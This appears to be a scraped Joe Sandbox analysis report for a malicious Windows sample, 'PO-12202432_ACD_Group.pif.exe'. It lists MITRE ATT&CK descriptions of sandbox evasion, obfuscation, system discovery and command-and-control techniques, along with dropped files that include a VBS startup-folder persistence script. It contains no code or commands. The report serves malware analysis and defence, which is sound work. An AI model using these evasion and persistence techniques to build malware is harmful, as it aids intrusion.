Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-12202432_ACD_Group.pif.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
PO-12202432_ACD_Group.pif.exe

Function 065A4C78 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Function 065A7038 Relevance: 5.1, Strings: 3, Instructions: 1351
COMMON

Function 05AFE6A0 Relevance: 4.4, Strings: 3, Instructions: 615
COMMON

Function 05AFE685 Relevance: 3.9, Strings: 3, Instructions: 177
COMMON

Function 06607490 Relevance: 3.1, Strings: 2, Instructions: 559
COMMON

Function 065AF628 Relevance: 2.9, Strings: 2, Instructions: 435
COMMON

Function 06609C30 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Function 0660B8E8 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON